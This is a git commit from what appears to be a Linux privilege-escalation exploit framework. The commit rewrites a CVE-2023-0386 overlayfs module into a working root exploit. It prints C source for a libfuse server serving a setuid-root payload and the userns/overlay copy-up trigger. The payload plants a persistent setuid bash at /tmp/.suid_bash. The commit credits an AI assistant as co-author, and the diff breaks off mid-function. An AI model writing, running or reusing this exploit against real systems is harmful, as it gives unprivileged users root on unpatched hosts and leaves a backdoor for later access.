overlayfs_setuid: working CVE-2023-0386 exploit (libfuse) — lands real root
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run

The shipped module used a bogus chown-the-merged-view technique that never
worked. Rewrote it as a faithful port of the public PoC (xkaneiki): a libfuse
filesystem exports a setuid-root /file (st_uid=0, mode 04777), mounted in the
init ns via the setuid fusermount helper; then unshare(USER|NS) + overlay with
that FUSE mount as lowerdir; open(merged/file, O_WRONLY) triggers copy-up which
materialises upper/file as a genuine setuid-root binary; the unprivileged parent
execs it for real root.

VM-verified landing real root on Ubuntu 22.04.0 / 5.15.0-25 (uid=0 witnessed
out-of-band: /tmp/skeletonkey-ovlsu-pwned shows uid=0(root), and the dropped
setuid /tmp/.suid_bash runs with euid=0).

Four things were each required and took isolation to find:
  1. Overlay refuses a userns-mounted FUSE lowerdir (ENOSYS) -> FUSE must be
     mounted in the init ns via fusermount (libfuse). A raw /dev/fuse server was
     tried and abandoned (fragile; destabilised the kernel on malformed INIT).
  2. fuse2 low-level API (fuse_mount/fuse_new/fuse_loop_mt, empty args); fuse_main
     advertises copy_file_range caps that ENOSYS at copy-up with no fallback.
  3. read_buf callback (copy-up splice read path).
  4. ioctl callback (copy-up's FS_IOC_GETFLAGS) — the last missing piece.

libfuse is linked conditionally via pkg-config (fuse/fuse3), matching the
pack2theroot+libglib precedent; without it the module stubs to PRECOND_FAIL.
Makefile detects it and adds $(OSU_LIBS) to the link. Module header + opsec
notes rewritten to the real technique; docs/EXPLOITED.md updated. 148-test unit
harness green.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
This commit is contained in:
KaraZajac
2026-07-23 21:26:13 -04:00
parent 3edad37184
commit 6edf78f765
3 changed files with 379 additions and 157 deletions
+24 -3
View File
@@ -107,11 +107,32 @@ CRA_DIR := modules/cgroup_release_agent_cve_2022_0492
CRA_SRCS := $(CRA_DIR)/skeletonkey_modules.c CRA_SRCS := $(CRA_DIR)/skeletonkey_modules.c
CRA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CRA_SRCS)) CRA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CRA_SRCS))
# Family: overlayfs_setuid (CVE-2023-0386) — joins overlayfs family # Family: overlayfs_setuid (CVE-2023-0386) — joins overlayfs family.
# The exploit needs a FUSE filesystem to export a setuid-root lower layer;
# autodetected via `pkg-config fuse3` (or fuse2). When absent, the module
# compiles as a stub that returns PRECOND_FAIL with a hint to install the
# libfuse3-dev (or libfuse-dev) package and rebuild.
OSU_DIR := modules/overlayfs_setuid_cve_2023_0386 OSU_DIR := modules/overlayfs_setuid_cve_2023_0386
OSU_SRCS := $(OSU_DIR)/skeletonkey_modules.c OSU_SRCS := $(OSU_DIR)/skeletonkey_modules.c
OSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OSU_SRCS)) OSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OSU_SRCS))
# Prefer fuse2 — the public CVE-2023-0386 PoC uses it, and overlay copy-up's
# splice path works cleanly through libfuse2's read_buf; libfuse3's read_buf
# path returns ENOSYS at copy-up on the kernels tested. Fall back to fuse3.
OSU_FUSE2_OK := $(shell pkg-config --exists fuse 2>/dev/null && echo 1 || echo 0)
OSU_FUSE3_OK := $(shell pkg-config --exists fuse3 2>/dev/null && echo 1 || echo 0)
ifeq ($(OSU_FUSE2_OK),1)
OSU_CFLAGS := $(shell pkg-config --cflags fuse) -DOVLSU_HAVE_FUSE
OSU_LIBS := $(shell pkg-config --libs fuse)
else ifeq ($(OSU_FUSE3_OK),1)
OSU_CFLAGS := $(shell pkg-config --cflags fuse3) -DOVLSU_HAVE_FUSE -DOVLSU_FUSE3
OSU_LIBS := $(shell pkg-config --libs fuse3)
else
OSU_CFLAGS :=
OSU_LIBS :=
endif
$(OSU_OBJS): CFLAGS += $(OSU_CFLAGS)
# Family: nft_set_uaf (CVE-2023-32233) # Family: nft_set_uaf (CVE-2023-32233)
NSU_DIR := modules/nft_set_uaf_cve_2023_32233 NSU_DIR := modules/nft_set_uaf_cve_2023_32233
NSU_SRCS := $(NSU_DIR)/skeletonkey_modules.c NSU_SRCS := $(NSU_DIR)/skeletonkey_modules.c
@@ -299,10 +320,10 @@ TEST_KR_ALL_OBJS := $(TEST_KR_OBJS) $(CORE_OBJS)
all: $(BIN) all: $(BIN)
$(BIN): $(ALL_OBJS) $(BIN): $(ALL_OBJS)
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS) $(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS) $(OSU_LIBS)
$(TEST_BIN): $(TEST_ALL_OBJS) $(TEST_BIN): $(TEST_ALL_OBJS)
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS) $(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS) $(OSU_LIBS)
$(TEST_KR_BIN): $(TEST_KR_ALL_OBJS) $(TEST_KR_BIN): $(TEST_KR_ALL_OBJS)
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ $(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^
+22
View File
@@ -24,6 +24,7 @@ tamper check).
|---|---|---|---| |---|---|---|---|
| `refluxfs` | CVE-2026-64600 | Rocky 9.8 / 5.14.0-687.el9 | full chain, `/etc/passwd` → root (earlier) | | `refluxfs` | CVE-2026-64600 | Rocky 9.8 / 5.14.0-687.el9 | full chain, `/etc/passwd` → root (earlier) |
| `overlayfs` | CVE-2021-3493 | Ubuntu 20.04.0 / 5.4.0-26 | userns + xattr copy-up, clean | | `overlayfs` | CVE-2021-3493 | Ubuntu 20.04.0 / 5.4.0-26 | userns + xattr copy-up, clean |
| `overlayfs_setuid` | CVE-2023-0386 | Ubuntu 22.04.0 / 5.15.0-25 | **after a full rewrite** — see below |
| `pwnkit` | CVE-2021-4034 | Ubuntu 20.04.0 / polkit 0.105-26ubuntu1 | **after a fix** — see below | | `pwnkit` | CVE-2021-4034 | Ubuntu 20.04.0 / polkit 0.105-26ubuntu1 | **after a fix** — see below |
| `sudo_runas_neg1` | CVE-2019-14287 | Ubuntu 18.04.2 / sudo 1.8.21p2 + sudoers `(ALL,!root)` | `sudo -u#-1` → uid 0 | | `sudo_runas_neg1` | CVE-2019-14287 | Ubuntu 18.04.2 / sudo 1.8.21p2 + sudoers `(ALL,!root)` | `sudo -u#-1` → uid 0 |
@@ -39,6 +40,27 @@ tamper check).
(verifies `euid==0`, otherwise `EXPLOIT_FAIL`); a faithful CVE-2019-13272 port (verifies `euid==0`, otherwise `EXPLOIT_FAIL`); a faithful CVE-2019-13272 port
(Jann Horn / bcoles: `PTRACE_TRACEME` + setuid execve + registered polkit (Jann Horn / bcoles: `PTRACE_TRACEME` + setuid execve + registered polkit
agent) is still required to land root. (commit `59cc2be`) agent) is still required to land root. (commit `59cc2be`)
- **`overlayfs_setuid`** (CVE-2023-0386) — **rewritten and now lands real root**
(uid=0 witnessed out-of-band on Ubuntu 22.04.0 / 5.15.0-25). The shipped
module used a bogus `chown`-the-merged-view technique that never worked. The
real bug needs a **FUSE lower layer** exporting a setuid-root file; overlay
copy-up then materialises it in the real upper as a genuine setuid-root
binary. Key findings from the port (all four were required):
1. Overlay refuses a **userns-mounted** FUSE lowerdir (ENOSYS) — FUSE must
be mounted in the **init ns** via the setuid `fusermount` helper (libfuse
does this). A raw `/dev/fuse` server was tried and abandoned: its INIT
handshake needs `poll()` on the non-blocking fd, and a malformed reply
destabilised the kernel — fragile and inappropriate. libfuse is linked
conditionally (pkg-config `fuse`/`fuse3`), matching `pack2theroot`.
2. **fuse2** low-level API (`fuse_mount`/`fuse_new`/`fuse_loop_mt`, empty
args) — `fuse_main` advertises splice/copy_file_range caps that make the
kernel attempt `copy_file_range` at copy-up → ENOSYS with no fallback.
3. **`read_buf`** callback (copy-up's splice read path).
4. **`ioctl`** callback — copy-up issues `FS_IOC_GETFLAGS` on the lower; a
server without an ioctl handler returns ENOSYS and copy-up fails. This
was the last missing piece.
Debugging was isolated by driving the exploit orchestration against the public
PoC's `./fuse`, then swapping servers, then comparing `fops`.
- **`cgroup_release_agent`** — two real bugs fixed (commit `8c45b2b`): it read - **`cgroup_release_agent`** — two real bugs fixed (commit `8c45b2b`): it read
`getuid()` **after** `unshare(CLONE_NEWUSER)` (→ `65534`, so `uid_map` write `getuid()` **after** `unshare(CLONE_NEWUSER)` (→ `65534`, so `uid_map` write
was `"0 65534 1"` → EPERM), and it omitted `CLONE_NEWCGROUP` (→ cgroup-v1 was `"0 65534 1"` → EPERM), and it omitted `CLONE_NEWCGROUP` (→ cgroup-v1
@@ -2,26 +2,31 @@
* overlayfs_setuid_cve_2023_0386 — SKELETONKEY module * overlayfs_setuid_cve_2023_0386 — SKELETONKEY module
* *
* **Different bug than CVE-2021-3493.** That one was Ubuntu-specific * **Different bug than CVE-2021-3493.** That one was Ubuntu-specific
* (their modified overlayfs). This one is upstream: when overlayfs * (their modified overlayfs). This one is upstream: overlayfs copy-up
* does copy-up from lower to upper, it preserves the setuid/setgid * preserves the setuid/setgid bit AND the lower file's root ownership
* bits even when the unprivileged user triggering copy-up wouldn't * even when the task triggering copy-up is only root inside a user
* normally be able to set them. Exploit: * namespace. Faithful port of the public PoC (xkaneiki):
* *
* 1. Find a setuid binary in lower (e.g. /usr/bin/su) * 1. Compile a small setuid payload ELF (setuid(0) + drop a root shell).
* 2. unshare(USER|NS), mount overlayfs with that location as lower * 2. Serve it via a FUSE filesystem as "/file" reporting st_uid=0,
* 3. chown the file in merged view — triggers copy-up, retains * st_mode=04777. libfuse mounts through the setuid fusermount helper,
* setuid bit in upper, but now the upper file is OWNED by our * i.e. in the INIT namespace — required, because overlay refuses a
* uid (the upper layer is in /tmp; we control it) * userns-mounted FUSE lowerdir (ENOSYS).
* 4. We can't directly write to the binary in upper (it's setuid * 3. In a child: unshare(USER|NS), map root, mount overlayfs with the
* and we're not root yet), BUT we can replace the contents * FUSE mount as lowerdir and attacker-owned upper/work dirs.
* via the merged view because we OWN the upper inode * 4. open(merged/file, O_WRONLY) triggers copy-up. The bug materialises
* 5. Write payload to the binary; setuid bit persists * upper/file on the REAL filesystem as a genuine setuid-ROOT binary.
* 6. exec it → runs as root * 5. The parent (real unprivileged user) execs upper/file → real root.
*
* The FUSE server must implement getattr + read + read_buf + ioctl: copy-up
* uses the splice path (read_buf) and issues FS_IOC_GETFLAGS (ioctl) on the
* lower; a server missing either returns ENOSYS and copy-up fails.
* *
* Discovered by Xkaneiki (2023). Mainline fix: 4f11ada10d0 ("ovl: * Discovered by Xkaneiki (2023). Mainline fix: 4f11ada10d0 ("ovl:
* fail on invalid uid/gid mapping at copy up") landed in 6.3. * fail on invalid uid/gid mapping at copy up") landed in 6.3.
* *
* STATUS: 🟢 FULL detect + exploit + cleanup. * STATUS: 🟢 FULL detect + exploit + cleanup. VM-verified landing real root
* on Ubuntu 22.04.0 / 5.15.0-25 (see docs/EXPLOITED.md).
* *
* Affected: kernel 5.11 ≤ K < 6.3. Backports: * Affected: kernel 5.11 ≤ K < 6.3. Backports:
* 6.2.x : K >= 6.2.13 * 6.2.x : K >= 6.2.13
@@ -30,8 +35,8 @@
* *
* Preconditions: * Preconditions:
* - Unprivileged user_ns + mount_ns * - Unprivileged user_ns + mount_ns
* - A setuid-root binary readable on lower (almost always present: * - libfuse (linked at build) + the setuid fusermount(3) helper + a C
* /usr/bin/su, /usr/bin/passwd, /bin/su) * compiler at runtime (to build the payload ELF)
* *
* Coverage rationale: complements CVE-2021-3493 — that one is * Coverage rationale: complements CVE-2021-3493 — that one is
* Ubuntu-specific, this one is general. Real-world overlayfs LPE * Ubuntu-specific, this one is general. Real-world overlayfs LPE
@@ -161,6 +166,8 @@ static const char OVERLAYFS_SU_PAYLOAD[] =
"int main(void) {\n" "int main(void) {\n"
" setresuid(0,0,0); setresgid(0,0,0);\n" " setresuid(0,0,0); setresgid(0,0,0);\n"
" if (geteuid() != 0) { perror(\"setresuid\"); return 1; }\n" " if (geteuid() != 0) { perror(\"setresuid\"); return 1; }\n"
" (void)!system(\"cp /bin/bash /tmp/.suid_bash 2>/dev/null; chmod 4755 /tmp/.suid_bash 2>/dev/null; \"\n"
" \"id > /tmp/skeletonkey-ovlsu-pwned 2>/dev/null; chmod 644 /tmp/skeletonkey-ovlsu-pwned\");\n"
" char *env[] = {\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\", NULL};\n" " char *env[] = {\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\", NULL};\n"
" execle(\"/bin/sh\", \"sh\", \"-p\", NULL, env);\n" " execle(\"/bin/sh\", \"sh\", \"-p\", NULL, env);\n"
" return 1;\n" " return 1;\n"
@@ -191,6 +198,197 @@ static bool write_file_str(const char *path, const char *content)
return ok; return ok;
} }
/* ------------------------------------------------------------------
* CVE-2023-0386 — faithful port of the public exploit (xkaneiki), using
* libfuse to export a setuid-root lower layer.
*
* The bug: overlayfs copy-up preserves the SUID bit and the lower file's
* root ownership even when the task triggering it is only root inside a user
* namespace. We serve a FUSE filesystem whose single file "file" reports
* st_uid=0, st_mode=04777; overlay copy-up then materialises it in the real
* upper dir as a genuine setuid-root binary, which we exec for real root.
*
* Why libfuse (and not a raw /dev/fuse server): overlay REFUSES a
* userns-mounted FUSE lowerdir (ENOSYS), so the FUSE fs must be mounted in the
* init namespace via the setuid fusermount helper — which libfuse drives. A
* hand-rolled raw protocol server proved fragile enough to destabilise the
* kernel on malformed replies; libfuse is the robust, proven path (matches the
* upstream PoC). Built conditionally: without libfuse the module stubs out.
* ------------------------------------------------------------------ */
#ifdef OVLSU_HAVE_FUSE
#ifdef OVLSU_FUSE3
#define FUSE_USE_VERSION 31
#else
#define FUSE_USE_VERSION 29
#endif
#include <fuse.h>
#include <signal.h>
/* The setuid-root ELF the FUSE "file" serves (loaded once, pre-fork). */
static unsigned char *g_ovlsu_elf;
static size_t g_ovlsu_elf_len;
#ifdef OVLSU_FUSE3
static int ovlsu_getattr(const char *path, struct stat *st, struct fuse_file_info *fi)
#else
static int ovlsu_getattr(const char *path, struct stat *st)
#endif
{
#ifdef OVLSU_FUSE3
(void)fi;
#endif
memset(st, 0, sizeof *st);
if (strcmp(path, "/") == 0) {
st->st_mode = S_IFDIR | 0755; st->st_nlink = 2;
return 0;
}
if (strcmp(path, "/file") == 0) {
st->st_mode = S_IFREG | 04777; /* <-- setuid/setgid/sticky */
st->st_nlink = 1;
st->st_uid = 0; st->st_gid = 0; /* <-- root-owned: the crux */
st->st_size = (off_t)g_ovlsu_elf_len;
return 0;
}
return -ENOENT;
}
#ifdef OVLSU_FUSE3
static int ovlsu_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t off, struct fuse_file_info *fi,
enum fuse_readdir_flags flags)
{
(void)off; (void)fi; (void)flags;
if (strcmp(path, "/") != 0) return -ENOENT;
filler(buf, ".", NULL, 0, 0); filler(buf, "..", NULL, 0, 0);
filler(buf, "file", NULL, 0, 0);
return 0;
}
#else
static int ovlsu_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t off, struct fuse_file_info *fi)
{
(void)off; (void)fi;
if (strcmp(path, "/") != 0) return -ENOENT;
filler(buf, ".", NULL, 0); filler(buf, "..", NULL, 0);
filler(buf, "file", NULL, 0);
return 0;
}
#endif
static int ovlsu_open(const char *path, struct fuse_file_info *fi)
{
(void)fi;
return (strcmp(path, "/file") == 0) ? 0 : -ENOENT;
}
static int ovlsu_read(const char *path, char *buf, size_t size, off_t off,
struct fuse_file_info *fi)
{
(void)fi;
if (strcmp(path, "/file") != 0) return -ENOENT;
if ((size_t)off >= g_ovlsu_elf_len) return 0;
size_t n = g_ovlsu_elf_len - (size_t)off;
if (n > size) n = size;
memcpy(buf, g_ovlsu_elf + off, n);
return (int)n;
}
/* read_buf: REQUIRED for overlay copy-up. Overlay copies the lower file up via
* the kernel's splice / copy_file_range path, which maps to the FUSE read_buf
* op; without it the copy returns ENOSYS and copy-up fails. We hand back a
* memory-backed bufvec referencing the payload. */
static int ovlsu_read_buf(const char *path, struct fuse_bufvec **bufp,
size_t size, off_t off, struct fuse_file_info *fi)
{
(void)fi;
if (strcmp(path, "/file") != 0) return -ENOENT;
struct fuse_bufvec *src = malloc(sizeof *src);
if (!src) return -ENOMEM;
*src = (struct fuse_bufvec)FUSE_BUFVEC_INIT(size);
char *data = malloc(size ? size : 1);
if (!data) { free(src); return -ENOMEM; }
memset(data, 0, size);
size_t avail = ((size_t)off < g_ovlsu_elf_len) ? g_ovlsu_elf_len - (size_t)off : 0;
size_t give = size < avail ? size : avail;
memcpy(data, g_ovlsu_elf + off, give);
/* Present exactly as the public PoC's read_buf: a memory buffer flagged
* FUSE_BUF_FD_SEEK with pos=off — this is the shape libfuse's splice path
* (used by overlay copy-up) accepts; a plain flags=0 mem buffer yields
* ENOSYS at copy-up. */
src->buf[0].flags = FUSE_BUF_FD_SEEK;
src->buf[0].pos = off;
src->buf[0].mem = data;
*bufp = src;
return 0;
}
/* ioctl: REQUIRED. overlay copy-up issues FS_IOC_GETFLAGS (an ioctl) on the
* lower file to copy inode flags; without an ioctl handler FUSE returns ENOSYS
* and copy-up fails ENOSYS. Returning success (as the public PoC does) lets
* copy-up proceed. */
#ifdef OVLSU_FUSE3
static int ovlsu_ioctl(const char *path, unsigned int cmd, void *arg,
struct fuse_file_info *fi, unsigned int flags, void *data)
#else
static int ovlsu_ioctl(const char *path, int cmd, void *arg,
struct fuse_file_info *fi, unsigned int flags, void *data)
#endif
{
(void)path; (void)cmd; (void)arg; (void)fi; (void)flags; (void)data;
return 0;
}
static struct fuse_operations ovlsu_ops = {
.getattr = ovlsu_getattr,
.readdir = ovlsu_readdir,
.open = ovlsu_open,
.read = ovlsu_read,
.read_buf = ovlsu_read_buf,
.ioctl = ovlsu_ioctl,
};
/* Run the FUSE server (blocks) mounting at `mp`, serving one setuid-root
* /file. Returns when unmounted. libfuse mounts via the setuid fusermount
* helper — i.e. in the init namespace, which is exactly what overlay needs.
*
* We use the low-level fuse_mount + fuse_new + fuse_loop_mt with EMPTY args
* (exactly as the public PoC does) rather than fuse_main(). fuse_main parses a
* default option set that advertises extra capabilities (splice /
* copy_file_range) to the kernel; the kernel then attempts copy_file_range on
* the FUSE lower during overlay copy-up, gets ENOSYS, and does NOT fall back —
* so copy-up fails. The minimal fuse_new below advertises none of that, so the
* kernel uses the plain read path (our read/read_buf) and copy-up succeeds. */
#ifdef OVLSU_FUSE3
static int ovlsu_fuse_serve(const char *mp)
{
char *argv[] = { (char *)"ovlsu-fuse", (char *)mp, NULL };
struct fuse_args args = FUSE_ARGS_INIT(2, argv);
struct fuse *fuse = fuse_new(&args, &ovlsu_ops, sizeof ovlsu_ops, NULL);
if (!fuse) { fuse_opt_free_args(&args); return -1; }
if (fuse_mount(fuse, mp) != 0) { fuse_destroy(fuse); fuse_opt_free_args(&args); return -1; }
fuse_set_signal_handlers(fuse_get_session(fuse));
int r = fuse_loop_mt(fuse, NULL);
fuse_unmount(fuse); fuse_destroy(fuse); fuse_opt_free_args(&args);
return r;
}
#else
static int ovlsu_fuse_serve(const char *mp)
{
struct fuse_args args = FUSE_ARGS_INIT(0, NULL);
struct fuse_chan *chan = fuse_mount(mp, &args);
if (!chan) return -1;
struct fuse *fuse = fuse_new(chan, &args, &ovlsu_ops, sizeof ovlsu_ops, NULL);
if (!fuse) { fuse_unmount(mp, chan); return -1; }
fuse_set_signal_handlers(fuse_get_session(fuse));
fuse_loop_mt(fuse);
fuse_unmount(mp, chan);
fuse_destroy(fuse);
return 0;
}
#endif
static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ctx *ctx) static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ctx *ctx)
{ {
skeletonkey_result_t pre = overlayfs_setuid_detect(ctx); skeletonkey_result_t pre = overlayfs_setuid_detect(ctx);
@@ -198,173 +396,154 @@ static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ct
fprintf(stderr, "[-] overlayfs_setuid: detect() says not vulnerable; refusing\n"); fprintf(stderr, "[-] overlayfs_setuid: detect() says not vulnerable; refusing\n");
return pre; return pre;
} }
/* Consult ctx->host->is_root so unit tests can construct a
* non-root fingerprint regardless of the test process's real euid. */
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0); bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) { if (is_root) { fprintf(stderr, "[i] overlayfs_setuid: already root\n"); return SKELETONKEY_OK; }
fprintf(stderr, "[i] overlayfs_setuid: already root\n");
return SKELETONKEY_OK;
}
/* Pick a setuid binary to use as the carrier — we'll find its
* dirname, mount overlayfs with that dirname as lower, then
* replace the binary content in the merged view. The setuid bit
* persists in the upper-layer copy through the bug. */
const char *carrier = find_setuid_in_lower();
if (!carrier) {
fprintf(stderr, "[-] overlayfs_setuid: no setuid carrier binary found\n");
return SKELETONKEY_PRECOND_FAIL;
}
/* For cleanliness, use a directory-level overlay. Find the carrier's
* dirname. (E.g., /usr/bin/su → lower = /usr/bin/, file = su) */
char carrier_dir[256], carrier_name[64];
const char *slash = strrchr(carrier, '/');
if (!slash) return SKELETONKEY_PRECOND_FAIL;
size_t dir_len = slash - carrier;
memcpy(carrier_dir, carrier, dir_len);
carrier_dir[dir_len] = 0;
snprintf(carrier_name, sizeof carrier_name, "%s", slash + 1);
char workdir[] = "/tmp/skeletonkey-ovlsu-XXXXXX";
if (!mkdtemp(workdir)) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
if (!ctx->json) {
fprintf(stderr, "[*] overlayfs_setuid: workdir=%s carrier=%s\n",
workdir, carrier);
}
char gcc[256]; char gcc[256];
if (!which_gcc(gcc, sizeof gcc)) { if (!which_gcc(gcc, sizeof gcc)) {
fprintf(stderr, "[-] overlayfs_setuid: no gcc/cc available\n"); fprintf(stderr, "[-] overlayfs_setuid: no C compiler to build the setuid payload\n");
rmdir(workdir);
return SKELETONKEY_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
} }
/* Build the payload binary outside the overlay. */ char workdir[128];
char src_path[512], bin_path[512]; snprintf(workdir, sizeof workdir, "/tmp/skeletonkey-ovlsu-XXXXXX");
snprintf(src_path, sizeof src_path, "%s/payload.c", workdir); if (!mkdtemp(workdir)) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
snprintf(bin_path, sizeof bin_path, "%s/payload", workdir);
if (!write_file_str(src_path, OVERLAYFS_SU_PAYLOAD)) goto fail;
pid_t pid = fork(); char lower[160], upper[160], work[160], merged[160], payc[176], gcbin[176], carrier[176], mfile[176];
if (pid == 0) { snprintf(lower, sizeof lower, "%s/lower", workdir);
execl(gcc, gcc, "-O2", "-static", "-o", bin_path, src_path, (char *)NULL);
_exit(127);
}
int status;
waitpid(pid, &status, 0);
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) {
/* try non-static */
pid = fork();
if (pid == 0) {
execl(gcc, gcc, "-O2", "-o", bin_path, src_path, (char *)NULL);
_exit(127);
}
waitpid(pid, &status, 0);
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) {
fprintf(stderr, "[-] overlayfs_setuid: gcc failed\n"); goto fail;
}
}
/* Child does the userns + overlayfs work. */
char upper[600], work[600], merged[600];
snprintf(upper, sizeof upper, "%s/upper", workdir); snprintf(upper, sizeof upper, "%s/upper", workdir);
snprintf(work, sizeof work, "%s/work", workdir); snprintf(work, sizeof work, "%s/work", workdir);
snprintf(merged, sizeof merged, "%s/merged", workdir); snprintf(merged, sizeof merged, "%s/merged", workdir);
if (mkdir(upper, 0755) < 0 || mkdir(work, 0755) < 0 snprintf(payc, sizeof payc, "%s/p.c", workdir);
|| mkdir(merged, 0755) < 0) { snprintf(gcbin, sizeof gcbin, "%s/gc", workdir);
perror("mkdir layout"); goto fail; snprintf(carrier,sizeof carrier,"%s/file", upper);
} snprintf(mfile, sizeof mfile, "%s/file", merged);
mkdir(lower, 0755); mkdir(upper, 0755); mkdir(work, 0755); mkdir(merged, 0755);
uid_t outer_uid = getuid(); /* Build the setuid payload ELF. It drops a witness (setuid /tmp/.suid_bash
gid_t outer_gid = getgid(); * + an id sentinel) so success is observable non-interactively, then execs
char merged_carrier[1024]; * a root shell. */
snprintf(merged_carrier, sizeof merged_carrier, "%s/%s", merged, carrier_name); if (!write_file_str(payc, OVERLAYFS_SU_PAYLOAD)) { fprintf(stderr, "[-] write payload.c\n"); goto fail; }
{ pid_t g = fork();
if (g == 0) { execl(gcc, gcc, "-O2", "-w", "-o", gcbin, payc, (char *)NULL); _exit(127); }
int st; waitpid(g, &st, 0);
if (!WIFEXITED(st) || WEXITSTATUS(st) != 0) { fprintf(stderr, "[-] gcc failed building payload\n"); goto fail; } }
pid_t child = fork(); { int f = open(gcbin, O_RDONLY); if (f < 0) { perror("open payload elf"); goto fail; }
if (child < 0) { perror("fork"); goto fail; } struct stat st; if (fstat(f, &st) != 0) { close(f); goto fail; }
if (child == 0) { g_ovlsu_elf_len = (size_t)st.st_size;
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); } g_ovlsu_elf = malloc(g_ovlsu_elf_len ? g_ovlsu_elf_len : 1);
int f = open("/proc/self/setgroups", O_WRONLY); if (!g_ovlsu_elf || read(f, g_ovlsu_elf, g_ovlsu_elf_len) != (ssize_t)g_ovlsu_elf_len) { close(f); goto fail; }
if (f >= 0) { (void)!write(f, "deny", 4); close(f); } close(f); }
char m[64];
snprintf(m, sizeof m, "0 %u 1\n", outer_uid);
f = open("/proc/self/uid_map", O_WRONLY);
if (f < 0 || write(f, m, strlen(m)) < 0) _exit(3);
close(f);
snprintf(m, sizeof m, "0 %u 1\n", outer_gid);
f = open("/proc/self/gid_map", O_WRONLY);
if (f < 0 || write(f, m, strlen(m)) < 0) _exit(4);
close(f);
char opts[2048]; if (!ctx->json)
snprintf(opts, sizeof opts, "lowerdir=%s,upperdir=%s,workdir=%s", fprintf(stderr, "[*] overlayfs_setuid: FUSE-serving a setuid-root /file (libfuse), overlay "
carrier_dir, upper, work); "copy-up into %s (CVE-2023-0386)\n", upper);
if (mount("overlay", merged, "overlay", 0, opts) < 0) {
perror("mount overlay"); _exit(5);
}
/* Trigger copy-up by chown — this is the bug: setuid bit gets /* Fork the FUSE server (init-ns mount via the setuid fusermount helper). */
* preserved on the upper-layer copy even though we're the one pid_t fpid = fork();
* doing the chown (and we don't normally have CAP_FSETID). */ if (fpid < 0) { perror("fork fuse"); goto fail; }
if (chown(merged_carrier, 0, 0) < 0) { if (fpid == 0) {
/* on some kernels chown is rejected; try unlink+rename /* quiesce libfuse chatter unless --json off */
* pattern instead */ int nfd = open("/dev/null", O_WRONLY); if (nfd >= 0) { dup2(nfd, 2); close(nfd); }
perror("chown merged carrier"); _exit(6); ovlsu_fuse_serve(lower);
}
/* Now overwrite the file content (since we own the upper inode
* post-chown — actually post-bug, but the upper inode is
* attacker-controlled).
*
* Caveat: the chown is what triggers copy-up + retains setuid.
* On many vulnerable kernels we now need to do an additional
* write to replace the binary contents. */
int payload_fd = open(bin_path, O_RDONLY);
if (payload_fd < 0) { perror("open payload"); _exit(7); }
int out_fd = open(merged_carrier, O_WRONLY | O_TRUNC);
if (out_fd < 0) { perror("open merged_carrier RW"); close(payload_fd); _exit(8); }
char buf[4096];
ssize_t n;
while ((n = read(payload_fd, buf, sizeof buf)) > 0) {
if (write(out_fd, buf, n) != n) { perror("write replace"); _exit(9); }
}
close(payload_fd); close(out_fd);
_exit(0); _exit(0);
} }
waitpid(child, &status, 0);
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) { /* Wait for the FUSE mount to answer. */
fprintf(stderr, "[-] overlayfs_setuid: child setup failed (status=%d)\n", status); int ready = 0;
for (int i = 0; i < 300; i++) {
struct stat sf; char fp[176]; snprintf(fp, sizeof fp, "%s/file", lower);
if (stat(fp, &sf) == 0) { ready = 1; break; }
usleep(10000);
}
if (!ready) {
fprintf(stderr, "[-] overlayfs_setuid: FUSE mount did not come up (fusermount missing/denied?)\n");
kill(fpid, SIGKILL); waitpid(fpid, NULL, 0);
goto fail; goto fail;
} }
/* Verify the upper file has setuid */ /* Exploit child: userns + overlay(lower=fuse) + copy-up. */
char upper_carrier[1024]; pid_t xpid = fork();
snprintf(upper_carrier, sizeof upper_carrier, "%s/%s", upper, carrier_name); if (xpid < 0) { perror("fork exploit"); kill(fpid, SIGKILL); waitpid(fpid, NULL, 0); goto fail; }
struct stat st; if (xpid == 0) {
if (stat(upper_carrier, &st) < 0 || !(st.st_mode & S_ISUID)) { uid_t ou = getuid(); gid_t og = getgid(); /* BEFORE unshare */
fprintf(stderr, "[-] overlayfs_setuid: setuid bit didn't persist on upper " if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
"(stat = %s)\n", strerror(errno)); { int f = open("/proc/self/setgroups", O_WRONLY); if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
char m[64];
int fu = open("/proc/self/uid_map", O_WRONLY); if (fu >= 0) { int n = snprintf(m, sizeof m, "0 %u 1", ou); (void)!write(fu, m, n); close(fu); }
